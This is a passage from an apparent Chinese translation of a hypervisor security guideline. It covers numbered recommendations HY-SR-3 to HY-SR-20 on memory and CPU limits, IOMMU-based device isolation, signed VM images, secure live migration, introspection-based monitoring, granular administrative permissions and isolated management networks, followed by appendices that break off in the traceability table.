虚拟机监视器的内存调度程序负责在任何时间使得所有 VM 中运行着的所有负载满足其内存要求。类似于 OS，常见的虚拟机监视器利用物理内存和称为虚拟机监视器内核交换文件的交换文件来满足这一要求。更进一步地，常见的 VM 并不总是要求它所被配置的全部内存。基于这些原因，使得运行在某个虚拟化的宿主上的 VM 的配置内存总量超过物理内存总量是一种可能实现的总体虚拟化配置决策，如果 VM 中没有运行内存敏感的应用程序。然而，内存超量使用——即 VM 的配置内存总量和宿主的物理内存的比例——不应过高，由于这可能导致某些要求大量内存的 VM 负载的性能恶化。

对于 VM 中的某些负载，影响虚拟化的宿主或者虚拟机监视器的可用性的另一个因素是物理内存大小和由虚拟机监视器的内存调度程序维护的内核交换文件大小的比例。由于过低的比例将会拒绝某些 VM 中的某些负载的执行，虚拟机监视器中应该有一个配置选项以便为每个 VM 指定一个保证的物理内存量。同样，为了避免这样一种情形，即某个特定 VM 占用了相当于它的全部配置内存的物理内存，应该有一个特性以指定保证的物理内存的上限。最后，可能有某些负载是时间敏感的，则托管它们的 VM 应该相对于其他运行着的 VM 在获得必需的内存资源方面具有一定的优先级。因此，还应该存在一个配置选项以便为每一个 VM 指定一个优先级的值。

基于上述与虚拟机监视器的内存计划相关的问题，下面就是安全性建议：

安全性建议 HY-SR-3：虚拟机监视器应该拥有配置选项以便为每一个要求内存的 VM 指定保证的物理内存量，以及该值的上限，此外还有在多个 VM 之间产生竞争的条件下用于获取必需的内存资源的优先级的值。更进一步地，允许所有 VM 的配置内存总量超过宿主的物理内存的内存超量使用特性应该默认禁用。

4.3 VM CPU 分配选项

VM CPU 分配的安全性目标是保证所有 VM 的可用性。这可以通过对于处理诸如 CPU 内核和 CPU 时钟周期等物理资源的分配的配置选项的适当使用来实现。例如，一个普遍可用的配置选项是设置最小 CPU 要求，或者预留，以时钟周期计算。这里需要遵守的架构参数是，可以被部署的 VM 数量不能超过虚拟机监视器宿主可以提供的 CPU 时钟周期总数和每个 VM 要求的平均预留的比值。例如这样的场景，虚拟机监视器宿主拥有 6000 MHz 的 CPU 能力，而每一个 VM 所要求的平均预留为 1000 MHz，那么该虚拟机监视器宿主上不能有多于 6 个 VM 处于活动状态。因此，预留为每个 VM 所要求的 CPU 时钟周期设置了下限（保证）。类似地，还应该有一个特性来为每一个 VM 所能够使用的 CPU 周期设置上限，或者限制，以使得没有一个 VM（有时是恶意或者受到攻击的 VM）会消耗宿主的全部 CPU 资源并且对与之共同驻留的 VM 拒绝服务。更进一步地，为了在这样一种情况下辅助计划虚拟机监视器宿主的 CPU 时钟周期，即多个 VM 要求的时钟周期高于下限但是低于上限，应该有一个特性来为每一个 VM 指认一个优先级分值，或者份额。综合以上关于保证所有部署的 VM 之间的合理分配的理想特性，关于 VM CPU 分配的安全性建议如下所述：

安全性建议 HY-SR-4：虚拟机监视器应该拥有强壮的配置特性以用于将虚拟资源提供给所有托管的 VM，以使得它不会超过某种关键物理资源（例如 CPU 内核数量）

安全性建议 HY-SR-5：虚拟机监视器应该提供特性以便为每一个部署的 VM 所需的 CPU 时钟周期指定下限和上限，以及提供特性以便为每一个 VM 指定一个优先级分值，以便在多个 VM 竞争 CPU 资源的情况下辅助计划

第 5 章 HY-BF2 安全性建议

关于 2.2.2 节所讨论的所有 3 种形式的设备虚拟化以及自虚拟化的设备的讨论于本节提供。

安全性建议 HY-SR-6A（模拟）：由于通过软件模拟硬件的复杂性，模拟方式除了受到性能损失以外，还会增加 TCB 的大小，特别是在客户 OS 拥有原生设备驱动程序并且设备模拟代码作为内核模块运行在和虚拟机监视器相同的权限层级的情况下。因此，模拟应该仅被应用于这种复杂性可控时（例如 USB 主机控制器）

安全性建议 HY-SR-6B（准虚拟化）：在准虚拟化的设备驱动程序被用于 VM 中的情况下，对物理设备的访问的调度应该通过在专用 VM 而非在虚拟机监视器中运行后端设备驱动程序（它们控制着连接到虚拟机监视器宿主的物理设备）来启用。这有助于使得后端设备驱动程序代码运行在低于虚拟机监视器的权限层级上。此外，虚拟机监视器平台应该包括输入/输出内存管理单元（IOMMU）形式的硬件支持以便验证并且翻译从驱动程序域的底层硬件设备到宿主内存的访问。强制性的具体 IOMMU 特性包括 DMA 重映射，在此，从设备到客户物理地址（GPA）的 DMA 调用必须被翻译到宿主物理地址（HPA），并且随后被检查该 HPA 地址是否落在指认给该设备的保护域内。结合这些机制可以减少 TCB 的大小，并且降低错误的设备或者设备驱动程序的行为的影响（限制在设备驱动程序 VM 范围内，而非虚拟机监视器）

安全性建议 HY-SR-6C（透传或者自虚拟化的硬件设备）：对于 VM 需要被赋予对具有 DMA 能力的设备的专用访问权限的情况，虚拟机监视器平台应该包括输入/输出内存管理单元（IOMMU）形式的硬件支持以便验证并且翻译所有设备对宿主内存的访问。此建议也适用于自虚拟化的硬件设备的使用（基于 SR-IOV 规范）。强制性的具体 IOMMU 特性包括 DMA 重映射，在此，从设备到客户物理地址（GPA）的 DMA 调用必须被翻译到宿主物理地址（HPA），并且随后被检查此 HPA 是否落在指认给该设备的保护域内

下列安全性建议的适用性与设备虚拟化的类型无对应关系：

安全性建议 HY-SR-7（设备访问）：应该可能设置访问控制列表（ACL）以便将每一个 VM 进程的访问权限限制为仅对指认给该 VM 的设备。为了实现这一点，虚拟机监视器配置应该支持某种特性以标记 VM（从语义上讲，一组任务），并且/或者拥有某种特性以便为每一个 VM 指定一组白名单，或者被允许的设备的列表

安全性建议 HY-SR-8（设备使用）：应该可能为每一个 VM 的网络带宽和 I/O 带宽（例如硬盘读/写速度）设置资源限制以防止拒绝服务（DOS）攻击。此外，对资源限制的适当使用可以使得 DOS 攻击对定义了资源限制的 VM 或者集群的影响定域化

第 6 章 HY-BF4 安全性建议

6.1 VM 镜像管理

由于基于 VM 的软件（例如客户 OS、中间件和应用程序）利用虚拟机监视器软件共享虚拟化的宿主的物理内存，并不令人惊讶的是，VM 是所有指向虚拟机监视器的攻击的最大来源。在操作中的虚拟化环境中，VM 很少是从头构建的，而是从 VM 镜像构建。VM 镜像是用于创建运行着的 VM 版本的模板。某个组织机构可以拥有其自身的判据以便在其 VM 库中对其使用的不同 VM 镜像进行分类。一些常用的判据包括：处理器负载（用于计算密集型应用程序的 VM）；内存负载（用于诸如数据库处理等内存密集型应用程序的 VM）；以及应用程序敏感度（运行使用关键任务数据的关键任务应用程序的 VM）。对于每一种 VM 镜像类型，必须遵循下列实践以保证所得到的运行中的 VM 是安全的：

对于每一种 VM 镜像类型的黄金镜像文档。黄金镜像是由一组与 VM 镜像相关联的配置变量定义的。这些配置变量至少应该包括：客户 OS 厂商、版本、补丁级别、创建日期、vCPU 内核数量，以及内存大小等
VM 镜像库中的每一个 VM 镜像必须带有与之相关联的数字签名
对 VM 镜像库的访问权限必须通过某种强壮的访问控制机制加以控制
对存储 VM 镜像的服务器的访问应该拥有安全协议

与上述实践相关联的安全性建议如下所述：

安全性建议 HY-SR-9：必须为所有类型的 VM 定义黄金标准，并且不符合此标准的 VM 镜像不应该被允许存储到 VM 镜像服务器或者库中。VM 镜像库中的镜像应该被周期性地扫描以查找过时的 OS 版本和补丁，这可能导致偏离标准

安全性建议 HY-SR-10：存储于镜像服务器中的每一个 VM 镜像应该带有数字签名以作为合法性和完整性的标识，利用可信、强壮的密码学密钥签名

安全性建议 HY-SR-11：向 VM 镜像库中迁入或者从中迁出镜像的许可应该通过某种强壮的访问控制机制强制实施，并且限制在一组授权的管理员中。如果没有访问控制机制，VM 镜像文件应该存储于加密设备中，该设备只能由一组限定的授权管理员利用具有足够复杂度的口令打开或者关闭

安全性建议 HY-SR-12：对存储 VM 镜像的服务器的访问应该总是通过安全协议，诸如传输层安全性协议（TLS）

6.2 VM 即时迁移

即时迁移是一种存在于所有虚拟机监视器中的功能，它允许某个 VM 被从一个虚拟化的宿主上迁移到另一个上，而其上的客户 OS 和应用程序仍然在运行。此功能提供了如下的关键优势：容错性、负载均衡，以及宿主维护、升级和补丁。在即时迁移中，源宿主上的客户 OS 的状态必须被复制到目标宿主上。这要求迁移内存内容、处理器状态、存储（除非两个宿主共享同一存储）以及网络状态

大多数虚拟机监视器所采用的最常见的内存迁移技术称为 预复制。在此方式中，属于 VM 的内存页被传输到目标宿主，而此 VM 继续在源宿主上运行 [5]。在迁移过程中被修改的内存页被再次发送至目标以保证内存一致性。在此阶段中，VM 上的当前正在操作中的所有处理器寄存器的精确状态也被传输过去，并且正在迁移中的 VM 在源宿主上挂起。目标的处理器寄存器被修改以复制源的状态，并且新迁移的 VM 恢复其操作。存储迁移由这样一种特性提供，它允许管理员将 VM 的文件系统从一个存储位置移动到另一个，而没有停机时间。这种存储迁移甚至可以发生在没有 VM 迁移的情况下，例如，某个 VM 可以继续在宿主服务器上运行，与此同时，构成此 VM 的文件在存储阵列或者逻辑单元号（LUN）之间移动。

在上述过程中，内存和处理器状态迁移功能是虚拟机监视器设计的内在方面，而存储迁移功能是存储管理的组成部分，并且适用于虚拟化和非虚拟化的基础设施。网络状态在 VM 迁移之后得以维持，由于每个 VM 带有其自身的独特 MAC 地址，并且迁移过程为迁移目标施加了某些限制（例如源和目标宿主应该位于相同的 VLAN 中）。因此，从安全维护的角度来看，唯一需要考虑的方面就是迁移过程的适当认证和安全的网络路径。

安全性建议 HY-SR-13：在 VM 即时迁移过程中，必须使用安全认证协议；执行迁移操作的管理员的凭证只被传输至目标宿主；内存内容和处理器状态的迁移通过安全网络连接进行；并且一个专用虚拟网段被同时用于源和目标宿主以承载此流量

6.3 VM 监视与安全策略强制实施

由于 VM 是针对虚拟机监视器的威胁的主要来源，针对 VM 状态和这些 VM 的出入流量的不间断监视是必要的，对于：(a) 控制流量类型，(b) 入侵检测和预防，以及 (c) 检测病毒和其他恶意软件。此功能可以通过两种方式实现：

基于 VM 的安全监视和介入解决方案
在 VM 或者虚拟网络对象（即虚拟交换机的端口/端口组）层级上的由具有流量规则强制实施功能的虚拟机监视器模块实现的安全监视和介入

在基于 VM 的安全监视和介入的方式中，软件或者软件代理（即安全工具）运行在某个 VM 之中以监视安全相关事件。此方式类似于运行基于宿主的 IDS。此方式的优势在于它对于运行在 VM 之中的代码提供了良好的可视性和上下文分析。然而，由于依赖底层客户 OS 上的安全工具，任何针对后者的攻击也会破坏此安全工具的功能，因此破坏这种反制措施。将安全工具作为可视化负载运行的另一个缺点是它对于其自身以及该 VM 上运行的其他应用程序负载的性能影响。

基于虚拟网络的安全监视 可以有两种形式：

(a) 用于保护每一个 VM 的专用安全设备
(b) 运行在虚拟网络中并且能够保护虚拟机监视器宿主中的多个 VM 的安全设备

专用的安全设备在虚拟网络中被部署在被监视的 VM 之前，并且监视出入该 VM 的全部流量。此方式的主要缺点是，如果该 VM 被迁移至其他物理宿主，此专用设备也必须被迁移。

部署在虚拟网络上并且被配置为监视多个 VM 的通用安全设备可能必须被不间断地重新配置，由于下列原因：

被监视的该组 VM 总是不间断地处于某种状态流中，由于 VM 会被从一个虚拟化的宿主迁移到另一个，由于负载均衡、性能，甚至是安全性的原因
如果虚拟局域网（VLAN）被用于在 VN 之间提供通讯层级的隔离，VLAN 的配置可能随着 VM 上的负载结构偏移而发生持续的更改，着可能要求重新配置网络流量镜像能力以保证所有虚拟网络流量流经影响着该虚拟化的宿主上的负载的总体性能的监控工具

在基于虚拟机监视器的安全监视解决方案中，监视并保护 VM（用户 VM）的安全工具运行在托管业务应用程序的 VM 之外，而是在某个安全加固的特殊 VM 中。被设计并且配置为运行在此种模式下的安全工具称为安全虚拟设备（SVA）。SVA 通过虚拟机监视器中的 虚拟机自省 API 获得对于 VM 状态（例如 CPU、寄存器、内存和 I/O 设备）以及虚拟机之间、虚拟机和虚拟机监视器之间的网络流量的可视性。这是理想的解决方案，由于：

(a) 它不易受到客户 OS 中的瑕疵的攻击
(b) 它独立于虚拟网络配置，并且每当虚拟网络配置由于 VM 迁移或者驻留于该虚拟机监视器宿主上的 VM 之间的连接性的改变而发生改变时，不必须重新配置它

因此，对于为了保护虚拟机监视器而创建的 VM 监视解决方案的安全性建议如下所述：

安全性建议 HY-SR-14：应该存在机制以用于安全监视、VM 操作安全策略强制实施，以及检测 VM 中运行的恶意进程和出入 VM 的恶意流量。此监视和强制实施机制构成了用于构建杀毒（AV）和入侵检测及防止系统（IDPS）解决方案的基础

安全性建议 HY-SR-15：用于 VM 的安全监视和安全策略强制实施解决方案应该基于 VM 外部，并且撬动虚拟机监视器的虚拟机自省能力。通常，这样的解决方案涉及在安全加固的或者可信 VM 中运行诸如安全虚拟设备（SVA）的安全工具

安全性建议 HY-SR-16：运行于虚拟机监视器宿主中的所有反恶意软件工具（例如查毒软件、防火墙和 IDPS 等）应该拥有能力以执行基于一定周期的自主签名或者索引文件更新

6.4 VM 配置管理

每一个 VM 的配置都应该被监视和管理，贯穿其生命周期。在大多数案例中，除了虚拟机监视器自带的原生特性以外，这还可以通过利用专用的第三方工具来实现。这些工具的理想特性以安全性建议的形式提供如下：

安全性建议 HY-SR-17：VM 配置管理工具应该具有能力以编译日志并且警示管理员，如果在被监视的任何 VM 中检测到配置更改

6.5 用于 VM 管理的精细粒度管理权限

拥有能力以对虚拟化的基础设施指认精细粒度的管理权限使得建立不同的管理模型及其相关授权机制成为可能。为了展示对于粒度许可的要求，检视用于虚拟化的基础设施中的管理操作的一些应用案例场景是有帮助的：

VM 管理应用案例 1：某个质量保证团队想要设置少量具有某些限定特性（诸如内存、CPU 等资源限额）的虚拟机以测试某些即将进入生产的应用程序。在此情况下，出于测试目的，在质量保证团队中专门指派一位或者更多位管理员以被授予特定的虚拟机设置的管理权限可能会有用
VM 管理应用案例 2：某位被指派了确定不同虚拟化的服务器上的操作负载和对额外的虚拟化的宿主的需求的任务的性能规划者可能需要权限以查看每一个虚拟化的宿主中的虚拟机的列表，而非需要对这些 VM 执行任何管理操作的权限。在此情况下，拥有能力以授予对于虚拟化的宿主中的 VM 列表的查看权限，但是拒绝此用户与任何可见的对象的交互的权限是理想的
VM 管理应用案例 3：在具有不同敏感度等级的 VM 运行于同一虚拟化的宿主之上的虚拟化的数据中心中，某位在虚拟机监视器层级被授予管理权限的管理员有时应该被禁止访问某个特定 VM，由于运行在该 VM 上的负载（即应用程序集合）的敏感性本质。在此情况下的理想能力是对于某个特别的子对象，拒绝其通过继承获得的权限
VM 管理应用案例 4：在某些情况下，对一组为某个特定组织分部或者部门控制一系列 VM 的管理员指认权限是必需的。此类管理实体的必然结果是对于一类想要管理运行着某种特定类型的负载（例如网络服务器）的 VM 的管理员的需求，无论其在组织结构中的位置。此类管理员可能并不要求对于某个 VM 的全套管理功能，而只是某些管理功能的任意集合，诸如配置 CD 介质、配置软盘介质、控制台交互、设备连接、开机、关机、重置，或是挂起等。此场景要求具有能力以创建自定义功能，即它可以包括与某个 VM 相关联的权限的任意集合，也需要具有能力以创建自定义对象，即它可以包括运行某种特定类型的负载（例如网络服务器）的 VM 的任意集合

综合所有 4 种管理场景中的能力要求，关于必需的权限粒度的总体安全性建议如下所述：

安全性建议 HY-SR-18：用于 VM 管理的访问控制解决方案应该拥有粒度能力，既在权限授予层级，也在对象层级（即对于权限目标的具体说明可以是单一 VM 或者任何 VM 的逻辑组合，基于功能或者位置）。此外，还应该存在这样的能力以禁止对于某个 VM 组（例如运行具有特定敏感度等级的负载的 VM）中的某些特别对象的权限，尽管其拥有对于该 VM 组的访问权限

第 7 章 HY-BF5 安全性建议

对于任何服务器级别的软件而言，管理功能的安全选项都是至关重要的，虚拟机监视器也不例外。其结果是一种能够提供对抗安全侵犯所必需的保护的安全配置。在虚拟机监视器的案例中，相对于众多服务器软件实例，非安全配置的影响可能更加严重，由于针对虚拟机监视器的攻击可能导致针对其上运行着的众多 VM 的攻击。尽管配置参数的组成取决于虚拟机监视器供应的设计特性，对于每一个独立的参数的值的选择的纬度会产生不同的配置选项。众多配置选项与功能特性和性能相关。然而，有一些选项对于虚拟机监视器的安全执行具有直接影响，并且这些就是此文档中所讨论的配置选项。

以下是一些通用于任何服务器级别的软件的安全实践。尽管也适用于虚拟机监视器，这些并未在此文档中解决：

(a) 虚拟机监视器宿主本身上的管理帐户控制以及对不同管理员的最小权限指认
(b) 虚拟机监视器软件和宿主 OS 的补丁管理
(c) 通过诸如 TLS 或者 Secure Shell（SSH）等安全协议同虚拟机监视器进行通讯

7.1 中心化管理

对虚拟机监视器和虚拟机监视器宿主的管理可以通过两种方式实现：

在每一个虚拟机监视器宿主中设置有管理帐户
通过企业虚拟化管理软件对所有虚拟机监视器和虚拟机监视器宿主进行中心化管理

通过企业虚拟化管理软件（EVMS）对企业中的所有虚拟机监视器平台进行中心化管理是理想的，由于用于企业中的所有虚拟机监视器的一组黄金标准配置可以通过 EVMS 定义并且简单地强制实施。对于任何想要高效运行的 IT 数据中心，实施负载均衡和容错措施是必要的，这可以通过定义虚拟机监视器集群来实现。对集群的创建、指派应用程序负载以及管理只能依靠中心化的管理软件来实现，使得部署和使用企业虚拟化管理软件成为强制性的。

因此，对于虚拟机监视器管理架构的建议如下所述：

安全性建议 HY-SR-19：对于企业中安装的所有虚拟机监视器的管理应该利用企业虚拟化管理系统（EVMS）以中心化的方式实现。用于不同类型的负载和集群的企业黄金标准虚拟机监视器配置必须通过 EVMS 进行管理和强制实施。此黄金标准配置至少应该覆盖 CPU、内存、存储、网络带宽，以及如有必要，宿主 OS 加固

7.2 保护管理网络

为了将多个 VM 彼此连接起来，以及将它们连接到虚拟化的宿主作为其中一个结点的企业网络，虚拟机监视器通过其管理控制台或者命令行界面（CLI）允许一种由软件定义的通讯结构，或者虚拟网络。此能力可以由专用的管理 VM 提供，也可以直接在虚拟机监视器内核中通过内核模块来提供。虚拟网络是一种由软件定义的人造物，它完全驻留于虚拟化的宿主中，并且拥有驻留于其中的 VM 作为其结点。此虚拟网络的组件包括：(a) 为每一个 VM 定义并且提供每一个 VM 到虚拟网络的连接的虚拟网卡（vNIC）；(b) 在 VM 之间提供选择性的连接性，并且其配置决定了虚拟网络拓扑结构的虚拟交换机；以及 (c) 提供 VM 到企业网络的连接性的虚拟化的宿主的物理网卡（pNIC）。

在考虑虚拟网络的安全性影响时，下列 3 项主要功能必须被考虑到：

在属于不同逻辑分组（例如，在基础设施即服务（IaaS）的云服务案例中的不同租用者；诸如网络服务器或者数据库服务器中的不同应用层；或者企业中的不同业务线应用程序等）的 VM 组别中提供选择性的连接性或者隔离
设置专用的子网用于关键功能，诸如 (a) 出于安全性或者性能的原因，将 VM 从一个虚拟机监视器宿主迁移到另一个，(b) 连接基于网络的存储设备，以及 (c) 容错性日志
在管理 VM（虚拟网络的一个结点）中提供对管理接口的访问，此管理 VM 被用于执行 VM 生命周期管理（HY-BF4）和虚拟机监视器平台管理（HY-BF5）的虚拟机监视器关键基线功能

在上述 3 种功能之中，VM 组别之间的选择性的连接性和隔离对于为运行在这些 VM 上的应用程序提供安全性是必需的，因此超出了此文档的范围。同样的判据适用于设置专用的子网用于基于网络的存储管理。我们已经在第 6 章讨论了 VM 生命周期管理之下的安全 VM 迁移。因此，我们对于虚拟网络配置的专注限于为用于执行 VM 管理和虚拟机监视器管理功能的网络接口提供保护。一种被普遍采用的方式是分配一块专用的物理网卡（NIC）用于处理管理流量，如果这不可行，则改为专用于此功能的虚拟网段（vLAN ID）。

安全性建议 HY-SR-20：对于虚拟机监视器宿主和软件管理功能的保护应该通过分配一块专用的物理 NIC 来保证，如果这不可行，则改为将虚拟机监视器的管理接口置于专用的虚拟网段中，并且利用防火墙强制实施流量控制（例如，在企业网络中指定子网，从这些子网到管理接口的流入流量被允许）

第 8 章安全性建议总结

虚拟机监视器是一种复杂的服务器级别的软件，它通过虚拟化硬件资源以允许执行多个具有各异 OS 的计算栈（VM）以及托管于其中的多个应用程序。对于虚拟机监视器及其物理宿主（即虚拟机监视器宿主或者虚拟化的宿主）的安全配置被总体性地称为虚拟机监视器平台，并且对于为关键任务应用程序的执行提供安全平台是必需的。

由于存在多种方式对虚拟机监视器架构进行分类，此文档中所采用的方式是识别虚拟机监视器所执行的 5 项基线功能、每一项基线功能所涉及的任务、该任务的安全执行的潜在威胁，以及对以安全性建议的形式给出的，能够提供担保以对抗利用这些威胁的反制措施进行表述。

从总体上看，为虚拟机监视器的安全部署提供了 20 项安全性建议。除了两项（HY-SR-1 和 HY-SR-2）以外，都与虚拟机监视器平台中的软件模块的配置参数相关。这些参数包括软件模块（例如设备驱动程序和 VM 镜像）的完整性度量，访问控制（例如设备访问、VM 镜像访问和 VM 管理）的设置，以及安全协议（例如 VM 镜像服务器的访问和 VM 迁移）的配置。这些安全性建议同虚拟机监视器的基线功能之间的对应关系于附录 B 提供。

此文档中概述的信任模型（参见 1.2 节）假设虚拟机监视器宿主的硬件可信。然而必须指出的是，已有被报导的攻击案例（例如与某些被隐式共享的硬件资源，诸如 CPU 缓存和转译后备缓冲器（TLB），相关的旁路攻击）。更近时期公开的与 CPU 层级的性能优化相关的攻击（例如 Spectre 和 Meltdown）同样限制了对于当前用于虚拟机监视器部署的硬件平台的信任的担保。

附录 A 虚拟机监视器基线功能描述

关于 5 种虚拟机监视器基线功能中的每一种的详细描述提供如下：

HY-BF1：VM 进程隔离——提供 VM 执行计划，管理在 VM 中运行的应用程序进程，诸如 CPU 和内存管理，以及在 VM 中运行应用程序的过程中进行不同的处理器状态之间的上下文切换。如果具有 DMA 能力的设备被用于虚拟机监视器宿主，这些设备的内存访问也需要被控制。然而，此功能被认为属于 HY-BF2，由于它属于设备调度。
HY-BF2：设备调度和访问控制——使设备对于 VM 可用（例如通过模拟、准虚拟化、透传或者自虚拟化的硬件设备），并且控制哪些 VM 被允许访问哪些设备（例如网卡（NIC），诸如 IDE 驱动器的存储设备等）。
HY-BF3：来自客户 VM 的命令的直接执行——某些来自客户 OS 的命令是由虚拟机监视器直接执行的，而非通过中断或者上下文切换而触发。此功能适用于那些实现了准虚拟化而非完全虚拟化的虚拟机监视器。
HY-BF4：VM 生命周期管理——这涉及从 VM 镜像的创建和管理、VM 状态的控制（开始、暂停、停止）、VM 迁移、制作快照、VM 监视，到策略的强制执行等全部功能。
HY-BF5：虚拟机监视器平台的管理——这涉及定义虚拟机监视器软件模块中的不同配置参数中的一些东西和设置值，包括适用于虚拟机监视器中的虚拟网络的配置的东西和设置值。

关于上述基线功能的详细描述如下：

A.1 HY-BF1（VM 进程隔离）

提供 VM 执行计划，管理在 VM 中运行的应用程序进程，诸如 CPU 和内存管理，以及在 VM 中运行应用程序的过程中进行不同的处理器状态之间的上下文切换。为了保证 VM 进程隔离，来自支持 DMA 的设备的内存访问也需要受到虚拟机监视器的控制（例如通过 IOMMU）。然而，此功能被认为属于 HY-BF2，由于它属于设备调度。

A.2 HY-BF2（设备调度和访问控制）

设备虚拟化的第 3 种方式，透传方式（或者直接设备指认）被部署于这样的情形，在此，由于性能的原因，某个 VM 需要对于某个设备（例如 NIC、硬盘控制器、HBA、USB 控制器、串口、火线控制器、声卡等）的专属访问，以避免由于模拟造成的开销。通常，这对于 PCI 设备来说通常是必需的，并且因此也称为 PCI 透传。由于这些设备中的很多拥有内存映射的接口，它们可以直接读取或者写入主内存，并且因此被称为具有直接内存访问（DMA）能力的设备。为了提供 VM 对于具有 DMA 能力的设备的专属访问，此设备的内存页被映射到客户 VM 的地址空间。

A.3 HY-BF3（来自客户 VM 的命令的直接执行）

某些来自客户 OS 的命令是由虚拟机监视器直接执行的，而非通过中断或者上下文切换而触发。这些命令称为超级调用，并且由虚拟机监视器中的特殊接口支持。此功能仅适用于那些实现了准虚拟化而非完全虚拟化的虚拟机监视器。

A.4 HY-BF4（VM 生命周期管理）

这包括 VM 上的所有管理操作，贯穿其生命周期。它们包括但不限于：

遵守标准镜像的 VM 创建，保证镜像的完整性并且保护镜像的存储和获取过程；供应具有适当的 vCPU、内存、网络和存储的镜像
将 VM 从一个虚拟机监视器宿主迁移到另一个
监视 VM 执行与出入流量，以及总体配置管理
对于 VM 管理的精细粒度访问控制，包括改变 VM 状态的基本操作——启动、暂停、停止
快照的访问控制和管理

管理任务通过利用提供了网络接口的管理守护进程而实现。这些接口通常不是作为虚拟机监视器内核模块的一部分，而是在高权限 VM（管理 VM）上实现，它作为虚拟机监视器平台启动过程的一个组成部分而启动。

A.5 HY-BF5（虚拟机监视器平台管理）

这些任务包括虚拟机监视器宿主（虚拟化的宿主）和虚拟机监视器软件本身的配置所涉及的任务。重要的任务包括：将 VM 供应至虚拟机监视器宿主，创建和管理虚拟机监视器集群，以及配置虚拟机监视器宿主内部的虚拟网络。虚拟网络是虚拟机监视器宿主内部的由软件定义的网络，它允许 VM 之间的连接性，以及 VM 到外部网络（例如 LAN、WAN 等）的连接性。

附录 B 关于虚拟机监视器的基线功能的安全性建议的可溯源性

编号	安全性建议	基线功能
HY-SR-1	所启动的虚拟机监视器应该成为平台以及整体基础设施的一部分，它包括：(a) 具有基于标准的密码学测定能力和存储设备的支持 MLE 的硬件，以及 (b) 应该具有能力以利用这些来提供一条从硬件开始直到所有虚拟机监视器组件的信任链的证明过程。被测定的元素（组件）至少应该包括下列：核心内核、内核支持模块、设备驱动程序，以及虚拟机监视器的原生管理应用程序（用于 VM 生命周期管理和虚拟机监视器管理）。信任链应该为所有被测定的组件未被破坏并且它们的版本正确（即整体启动完整性）提供担保。如果信任链将要被延伸至客户 VM，虚拟机监视器应该提供一个虚拟接口到基于硬件的 MLE。	无
HY-SR-2	虚拟化的宿主的硬件应该利用 MMU 对指令集虚拟化和内存管理提供辅助，由于硬件支持提供了下列安全性担保，而这些是完全基于软件的虚拟化所不能保证的： * 更佳的内存管理控制可以防止诸如缓冲区溢出等攻击 * IOMMU 中的 DMA 传输重映射特性提供更佳的 I/O 设备隔离。更进一步地，直接将 I/O 设备指认给某个特定 VM 并且允许直接访问这些资源这一特性消除了为该 VM 提供模拟设备驱动程序的需求，因此减少了可信代码的大小 * 客户 OS 代码和虚拟机监视器代码执行于不同的处理器模式，提供了更佳的隔离 * 权限层级的隔离可以为设备访问调度功能提供更佳的保护，并且硬件层级的内存保护可以提供更佳的 VM 层级保护 * 通过支持完全虚拟化，COTS 版本的 OS 可以允许更简单的补丁和更新，而非必须对可以运行于准虚拟化平台的唯一类型的修改或者移植版本的 OS 进行相同操作 * 由于现在众多虚拟化特性在硬件中可用，虚拟机监视器代码将会变小，允许更佳的安全性证明和验证	HY-BF1（VM 进程隔离）
HY-SR-3	虚拟机监视器应该拥有配置选项以便为每一个（要求内存的）VM 指定保证的物理内存量，以及该值的上限，并且指定一个优先级的值，以用于在多个 VM 之间产生竞争的条件下获取必需的内存资源。更进一步地，允许所有 VM 的配置内存总量超过宿主的物理内存的内存超量使用特性（如果可用）应该默认禁用。	HY-BF1（VM 进程隔离）
HY-SR-4	虚拟机监视器应该拥有强壮的配置特性以便以这样的方式将虚拟资源提供给所有托管的 VM，即它不会超过某种关键物理资源（例如 CPU 内核数量）	HY-BF1（VM 进程隔离）
HY-SR-5	虚拟机监视器应该提供特性以便为每一个部署的 VM 所需的 CPU 时钟周期指定下限和上限，以及提供特性以便为每一个 VM 指定一个优先级分值，以便在多个 VM 竞争 CPU 资源的情况下辅助计划	HY-BF1（VM 进程隔离）
HY-SR-6A，HY-SR-6B，HY-SR-6C	安全性建议 HY-SR-6A（模拟）：由于通过软件模拟硬件的复杂性，模拟方式除了受到性能损失以外，还会增加 TCB 的大小，特别是在客户 OS 拥有原生设备驱动程序并且设备模拟代码作为内核模块运行在和虚拟机监视器相同的权限层级的情况下。因此，模拟应该仅被应用于这种复杂性可控时（例如 USB 主机控制器）安全性建议 HY-SR-6B（准虚拟化）：在准虚拟化的设备驱动程序被用于 VM 中的情况下，对物理设备的访问的调度应该通过在专用 VM 而非在虚拟机监视器中运行后端设备驱动程序（它们控制着连接到虚拟机监视器宿主的物理设备）来启用。这有助于使得后端设备驱动程序代码运行在低于虚拟机监视器的权限层级上。此外，虚拟机监视器平台应该包括输入/输出内存管理单元（IOMMU）形式的硬件支持以便验证并且翻译从驱动程序域的底层硬件设备到宿主内存的访问。强制性的具体 IOMMU 特性包括 DMA 重映射，在此，从设备到客户物理地址（GPA）的 DMA 调用必须被翻译到宿主物理地址（HPA），并且随后被检查该 HPA 地址是否落在指认给该设备的保护域内。结合这些机制可以减少 TCB 的大小，并且降低错误的设备或者设备驱动程序的行为的影响（限制在设备驱动程序 VM 范围内，而非虚拟机监视器）安全性建议 HY-SR-6C（透传或者自虚拟化的硬件设备）：对于 VM 需要被赋予对具有 DMA 能力的设备的专用访问权限的情况，虚拟机监视器平台应该包括输入/输出内存管理单元（IOMMU）形式的硬件支持以便验证并且翻译所有设备对宿主内存的访问。此建议也适用于启用虚拟化的硬件设备的使用（基于 SR-IOV 规范）。强制性的具体 IOMMU 特性包括 DMA 重映射，在此，从设备到客户物理地址（GPA）的 DMA 调用必须被翻译到宿主物理地址（HPA），并且随后被检查此 HPA 是否落在指认给该设备的保护域内	HY-BF2（设备调度和访问控制）
HY-SR-7	应该可能设置访问控制列表（ACL）以便将每一个 VM 进程的访问权限限制为仅对指认给该 VM 的设备。为了实现这一点，虚拟机监视器配置应该支持某种特性以标识（标记） VM（从语义上讲，一组任务），并且/或者拥有某种特性以便为每一个 VM 指定一组设备白名单（被允许的设备列表）	HY-BF2（设备调度和访问控制）
HY-SR-8	应该可能为每一个 VM 的网络带宽和 I/O 带宽（例如硬盘读/写速度）设置资源限制以防止拒绝服务（DOS）攻击。更进一步地，对资源限制的适当使用可以使得 DOS 攻击对定义了资源限制的 VM 或者集群的影响定域化	HY-BF2（设备调度和访问控制）
